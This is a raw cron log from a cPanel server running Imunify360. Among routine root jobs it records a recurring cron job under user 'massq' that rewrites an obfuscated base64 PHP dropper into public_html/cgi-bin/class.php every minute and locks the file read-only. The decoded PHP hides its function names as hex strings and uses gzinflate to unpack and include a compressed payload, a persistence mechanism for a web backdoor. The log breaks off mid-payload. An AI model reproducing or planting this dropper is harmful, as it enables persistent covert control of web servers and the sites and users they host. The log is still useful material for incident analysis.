Sep  5 08:00:01 server CROND[25668]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:00:01 server CROND[25665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:00:01 server CROND[25666]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 08:00:01 server CROND[25667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:00:01 server CROND[25673]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 08:00:01 server CROND[25674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:00:01 server CROND[25671]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 08:01:01 server CROND[26561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:01:01 server CROND[26562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:01:01 server CROND[26563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:01:01 server CROND[26564]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 08:01:01 server run-parts(/etc/cron.hourly)[26564]: starting 0anacron
Sep  5 08:01:01 server run-parts(/etc/cron.hourly)[26582]: finished 0anacron
Sep  5 08:02:01 server CROND[26962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:02:01 server CROND[26963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:02:01 server CROND[26964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:03:01 server CROND[27335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:03:01 server CROND[27336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:03:01 server CROND[27337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:04:01 server CROND[27703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:04:01 server CROND[27704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:04:01 server CROND[27705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:05:01 server CROND[28179]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 08:05:01 server CROND[28181]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:05:01 server CROND[28184]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:05:01 server CROND[28189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:05:01 server CROND[28193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:05:01 server CROND[28192]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 08:05:01 server CROND[28194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:05:01 server CROND[28191]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 08:05:01 server CROND[28190]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 08:06:01 server CROND[29041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:06:01 server CROND[29040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:06:01 server CROND[29042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:07:01 server CROND[29411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:07:01 server CROND[29412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:07:01 server CROND[29413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:08:01 server CROND[29769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:08:01 server CROND[29771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:08:01 server CROND[29770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:09:01 server CROND[30140]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 08:09:01 server CROND[30141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:09:01 server CROND[30142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:09:01 server CROND[30143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:10:01 server CROND[30577]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 08:10:01 server CROND[30579]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:10:01 server CROND[30587]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 08:10:01 server CROND[30589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:10:01 server CROND[30588]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 08:10:01 server CROND[30590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:10:01 server CROND[30593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:10:01 server CROND[30592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:11:01 server CROND[31452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:11:01 server CROND[31453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7G